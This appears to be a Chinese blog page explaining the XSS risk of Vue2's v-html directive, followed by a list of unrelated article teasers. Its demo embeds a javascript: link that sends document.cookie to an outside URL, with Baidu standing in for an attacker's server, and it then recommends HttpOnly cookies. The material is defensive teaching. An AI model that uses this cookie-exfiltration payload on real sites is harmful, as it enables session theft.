当前位置： 首页 > news >正文

Vue2中v-html引发的安全问题

news 2025/10/14 13:23:24

前言：v-html指令

1.作用：向指定节点中渲染包含html结构的内容。

2.与插值语法的区别：

  (1).v-html会替换掉节点中所有的内容，{{xx}}则不会。

  (2).v-html可以识别html结构。

3.严重注意：v-html有安全性问题！！！！

   (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。

    (2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！

一、代码

制作一个模拟页面，使用v-html在页面中插入“jack”，jack的href属性写为：javascript:location.href="http://www.baidu.com?"+document.cookie ，其中百度的地址为模拟地址，真实场景中应该为诈骗人员收集信息的靶机，document.cookie命令将会获得页面的全部cookie,并以参数的形式通过URL传递给靶机。

<!DOCTYPE html>
<html><head><meta charset="UTF-8" /><title>v-html指令</title><script type="text/javascript" src="../js/vue.js"></script></head><body><div id="root"><div v-html="jack"></div></div></body><script type="text/javascript">Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。new Vue({el:'#root',data:{jack:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点我！</a>',}})</script>
</html>

二、页面

通过vue本地环境打开页面，为了模拟效果，在cookies中模拟数据，添加2条数据。

 

三、运行结果 

点击页面的“点我”，浏览器跳转到百度页面，观察url，发现模拟的cookie数据当做参数被传递给了百度。

四、安全设置

当浏览器cookie的HttpOnly设置为 √ 时，就表示只能通过Http请求的方式传递，Cookie才能够被读取，其他时候是不行的，所以并不是任何时候，都可以通过JavaScript去读取Cookie。若网站没有将一些重要的用户信息设置为HttpOnly，这就会导致cookie的泄漏。 

相关文章：

Vue2中v-html引发的安全问题

前言&#xff1a;v-html指令 1.作用&#xff1a;向指定节点中渲染包含html结构的内容。 2.与插值语法的区别&#xff1a; (1).v-html会替换掉节点中所有的内容&#xff0c;{{xx}}则不会。 (2).v-html可以识别html结构。 3.严重注意&#xff1a;v-html有安全性问题&#xff0…...

编程日记 2023/12/7 2:56:40

java内部类详解

文章目录 一、介绍二、为什么要使用内部类三、非静态内部类四、静态内部类五、局部内部类六、匿名内部类七、lambda表达式内部类八、成员重名九、序列化十、如何选择内部类 一、介绍 在java中&#xff0c;我们被允许在编写一个类(外部类OuterClass)时&#xff0c;在其内部再嵌…...

编程日记 2023/12/7 2:55:39

Python 潮流周刊#29：Rust 会比 Python 慢？！

△请给“Python猫”加星标 &#xff0c;以免错过文章推送 你好&#xff0c;我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容&#xff0c;大部分为英文。本周刊开源&#xff0c;欢迎投稿[1]。另有电报频道[2]作为副刊&#xff0c;补充发布更加丰富的资讯。 &#x1f43…...

编程日记 2023/12/7 2:52:37

吴恩达《机器学习》11-1-11-2:首先要做什么、误差分析

一、首先要做什么 选择特征向量的关键决策 以垃圾邮件分类器算法为例&#xff0c;首先需要决定如何选择和表达特征向量 &#x1d465;。视频提到的一个示例是构建一个由 100 个最常出现在垃圾邮件中的词构成的列表&#xff0c;根据这些词是否在邮件中出现来创建特征向量&…...

编程日记 2023/12/7 2:51:36

Pandas在Excel同一个sheet里插入多个Dataframe和行

Pandas默认的to_excel是直接把完成的Datafrme写入一个sheet里，这并不能满足我们在一个sheet里插入多个Dataframe或多行的需求。为了实现插入多行或多Dataframe的目的，我们需要新建一个ExcelWriter对象，然后依次插入数据。 这里我们以插入2个Dataframe和三行单元格为例。 新…...

编程日记 2023/12/7 2:50:35

查看mysql 或SQL server 的连接数，mysql超时、最大连接数配置

1、mysql 的连接数 1.1、最大可连接数 show variables like max_connections; 1.2、运行中连接数 show status like Threads_connected; 1.3、配置最大连接数&#xff0c; mysql版本不同可配置的最大连接数不同&#xff0c;mysql8.0的版本默认151个连接数&#xff0c;…...

编程日记 2023/12/7 2:49:34

C++学习之路（七）C++ 实现简单的Qt界面（消息弹框、按钮点击事件监听）- 示例代码拆分讲解

这个示例创建了一个主窗口&#xff0c;其中包含两个按钮。第一个按钮点击时会显示一个简单的消息框&#xff0c;第二个按钮点击时会执行一个特定的操作&#xff08;在这个例子中&#xff0c;仅打印一条调试信息&#xff09;。 功能描述&#xff1a; 创建窗口和布局&#xff1a;…...

编程日记 2023/12/7 2:45:32

python实现一个计算器

实现一个计算器首先熟悉一下这个阅读器的属性import subprocess subprocess.run(["espeak", "-v", "enf3", "This is a Calculator"])class Calculator:def speaker(self,word):subprocess.run(["espeak", "-v", …...

编程日记 2023/12/7 2:40:26

C++ 共享内存ShellCode跨进程传输

在计算机安全领域&#xff0c;ShellCode是一段用于利用系统漏洞或执行特定任务的机器码。为了增加攻击的难度&#xff0c;研究人员经常探索新的传递ShellCode的方式。本文介绍了一种使用共享内存的方法&#xff0c;通过该方法&#xff0c;两个本地进程可以相互传递ShellCode&am…...

编程日记 2023/12/7 2:38:25

如何快速移植（从STM32F103到STM32F407）

最近用到F4的地方比较多&#xff0c;网上代码还是F1多一些&#xff0c;便需要移植代码&#xff0c;如何快速移植代码呢&#xff1f; 看下面这篇文章 外设 首先就是STM32的外设了。 STM32F407ZGT6的基本外设 STM32F407ZGT6 作为 MCU&#xff0c;该芯片是 STM32F407 里面配置…...

编程日记 2023/12/7 2:37:24

python高级练习题库实验1（B）部分

文章目录 题目1代码实验结果题目2代码实验结果题目3代码实验结果题目4代码实验结果题目5代码实验结果题目总结题目1 打包糖果小游戏，用户输入糖果品牌与个数，还有一个盒子里面可以装多少个糖果，输出一些打印信息，如下图所示： 代码 print("Packaging lollies into…...

编程日记 2023/12/7 2:31:18

Qt Rsa 加解密方法使用(pkcs1， pkcs8, 以及文件存储和内存存储密钥)

Qt RSA 加解密 完整使用 密钥格式&#xff1a; pkcs#1pkcs#8 如何区分密钥对是PKCS1还是PKCS8&#xff1f; 通常PKCS1密钥对的开始部分为&#xff1a;-----BEGIN RSA PRIVATE KEY-----或 -----BEGIN RSA PUBLIC KEY-----。而PKCS8密钥对的开始部分为&#xff1a;-----BEGIN…...

编程日记 2023/12/7 2:29:17

区分物理端口与软件端口概念：以交换机端口和Linux系统中的端口为例

文章目录 交换机端口和Linux系统中的端口有什么区别&#xff1f;1. 交换机的端口2. Linux系统中的端口因此&#xff0c;尽管两者都被称为"端口"&#xff0c;但它们代表的含义和用途是完全不同的。 交换机端口和Linux系统中的端口有什么区别&#xff1f; 虽然都被称为…...

编程日记 2023/12/7 2:28:16

力扣226：翻转二叉树

力扣226&#xff1a;翻转二叉树 给你一棵二叉树的根节点 root &#xff0c;翻转这棵二叉树&#xff0c;并返回其根节点。 示例 1&#xff1a; 输入&#xff1a;root [4,2,7,1,3,6,9] 输出&#xff1a;[4,7,2,9,6,3,1] 示例 2&#xff1a; 输入&#xff1a;root [2,1,3]…...

编程日记 2023/12/7 2:26:14

亚马逊鲲鹏系统智能自动注册与AI角色养号，探索数字化新境界

在数字化时代&#xff0c;亚马逊鲲鹏系统以其强大的自动化功能&#xff0c;为用户提供了前所未有的购物体验。如果你想利用鲲鹏系统进行自动化注册&#xff0c;那么准备好邮箱、IP、手机号等关键信息后&#xff0c;你将轻松实现自动注册&#xff0c;为购物之旅开启智能化新篇章…...

编程日记 2023/12/7 2:21:09

AOP操作日志记录

AOP操作日志记录 1.创建注解 Retention(RetentionPolicy.RUNTIME) Target(ElementType.METHOD) public interface PassportLog {String operatePage();String operateType();ClassTypEnum classType();}2.创建切面 对于字典&#xff0c;可以通过注解属性去转换&#xff0c;枚举…...

编程日记 2023/12/7 2:19:07

Linux C语言 42-进程间通信IPC之网络通信（套接字）

Linux C语言 42-进程间通信IPC之网络通信&#xff08;套接字&#xff09; 本节关键字&#xff1a;C语言 进程间通信 网络通信 套接字 TCP UDP 相关库函数&#xff1a;socket、bind、listen、accept、send、recv、sendto、recvfrom 参考之前的文章 Linux C语言 30-套接字操作…...

编程日记 2023/12/7 2:09:59

微服务知识大杂烩

1.什么是微服务？ 微服务（Microservices）是一种软件架构风格，将一个大型应用程序划分为一组小型、自治且松耦合的服务。每个微服务负责执行特定的业务功能，并通过轻量级通信机制（如HTTP）相互协作。每个微服务可以独立开发、部署和扩展，使得应用程序更加灵活、可伸缩和可…...

编程日记 2023/12/7 2:05:56

记录一次vscode markdown的图片路径相关插件学习配置过程

插件及说明查找过程 csdn搜索markdown图片路径&#xff0c;找到关于这一款插件的回答。打开vscode拓展搜索Paste Image这款插件&#xff0c;看到下载量挺高的&#xff0c;应该不赖。 点击仓库,进入该插件开源的github仓库,查看README文件阅读说明. 淡然在Vscode 插件项目下的细…...

编程日记 2023/12/7 2:02:54

设计原则 | 依赖转置原则

一、依赖转置原则&#xff08;DIP&#xff1a;Dependence Inversion Principle&#xff09; 1、原理 高层模块不应该依赖低层模块&#xff0c;二者都应该依赖于抽象抽象不应该依赖于细节&#xff0c;细节应该依赖于抽象 2、层次化 Booch曾经说过&#xff1a;所有结构良好的面…...

编程日记 2023/12/7 2:01:53

【人工智能】神经网络的优化器optimizer（二）：Adagrad自适应学习率优化器

一.自适应梯度算法Adagrad概述 Adagrad&#xff08;Adaptive Gradient Algorithm&#xff09;是一种自适应学习率的优化算法&#xff0c;由Duchi等人在2011年提出。其核心思想是针对不同参数自动调整学习率&#xff0c;适合处理稀疏数据和不同参数梯度差异较大的场景。Adagrad通…...

编程新知 2025/10/10 4:00:13

MongoDB学习和应用(高效的非关系型数据库)

一丶 MongoDB简介 对于社交类软件的功能&#xff0c;我们需要对它的功能特点进行分析&#xff1a; 数据量会随着用户数增大而增大读多写少价值较低非好友看不到其动态信息地理位置的查询… 针对以上特点进行分析各大存储工具&#xff1a; mysql&#xff1a;关系型数据库&am…...

编程新知 2025/10/12 13:42:12

Golang dig框架与GraphQL的完美结合

将 Go 的 Dig 依赖注入框架与 GraphQL 结合使用&#xff0c;可以显著提升应用程序的可维护性、可测试性以及灵活性。 Dig 是一个强大的依赖注入容器&#xff0c;能够帮助开发者更好地管理复杂的依赖关系&#xff0c;而 GraphQL 则是一种用于 API 的查询语言&#xff0c;能够提…...

编程新知 2025/9/30 16:13:37

SAP学习笔记 - 开发26 - 前端Fiori开发 OData V2 和 V4 的差异 (Deepseek整理）

上一章用到了V2 的概念&#xff0c;其实 Fiori当中还有 V4&#xff0c;咱们这一章来总结一下 V2 和 V4。 SAP学习笔记 - 开发25 - 前端Fiori开发 Remote OData Service(使用远端Odata服务)&#xff0c;代理中间件&#xff08;ui5-middleware-simpleproxy&#xff09;-CSDN博客…...

编程新知 2025/9/28 3:34:28

CSS设置元素的宽度根据其内容自动调整

width: fit-content 是 CSS 中的一个属性值&#xff0c;用于设置元素的宽度根据其内容自动调整&#xff0c;确保宽度刚好容纳内容而不会超出。 效果对比 默认情况&#xff08;width: auto&#xff09;&#xff1a; 块级元素&#xff08;如 <div>&#xff09;会占满父容器…...

编程新知 2025/9/28 1:12:20

基于 TAPD 进行项目管理

起因 自己写了个小工具&#xff0c;仓库用的Github。之前在用markdown进行需求管理&#xff0c;现在随着功能的增加&#xff0c;感觉有点难以管理了&#xff0c;所以用TAPD这个工具进行需求、Bug管理。 操作流程 注册 TAPD&#xff0c;需要提供一个企业名新建一个项目&#…...

编程新知 2025/9/28 3:35:25

Java求职者面试指南：计算机基础与源码原理深度解析

Java求职者面试指南&#xff1a;计算机基础与源码原理深度解析 第一轮提问&#xff1a;基础概念问题 1. 请解释什么是进程和线程的区别&#xff1f; 面试官&#xff1a;进程是程序的一次执行过程&#xff0c;是系统进行资源分配和调度的基本单位&#xff1b;而线程是进程中的…...

编程新知 2025/10/7 19:05:44

【C++特殊工具与技术】优化内存分配(一)：C++中的内存分配

目录 一、C 内存的基本概念​ 1.1 内存的物理与逻辑结构​ 1.2 C 程序的内存区域划分​ 二、栈内存分配​ 2.1 栈内存的特点​ 2.2 栈内存分配示例​ 三、堆内存分配​ 3.1 new和delete操作符​ 4.2 内存泄漏与悬空指针问题​ 4.3 new和delete的重载​ 四、智能指针…...

编程新知 2025/9/23 0:15:48

uniapp 字符包含的相关方法

在uniapp中&#xff0c;如果你想检查一个字符串是否包含另一个子字符串&#xff0c;你可以使用JavaScript中的includes()方法或者indexOf()方法。这两种方法都可以达到目的&#xff0c;但它们在处理方式和返回值上有所不同。 使用includes()方法 includes()方法用于判断一个字…...

编程新知 2025/9/28 19:00:18

数据结构：递归的种类（Types of Recursion）

目录 尾递归&#xff08;Tail Recursion&#xff09; 什么是 Loop&#xff08;循环&#xff09;&#xff1f; 复杂度分析 头递归&#xff08;Head Recursion&#xff09; 树形递归&#xff08;Tree Recursion&#xff09; 线性递归&#xff08;Linear Recursion&#xff09;…...

编程新知 2025/10/12 18:59:58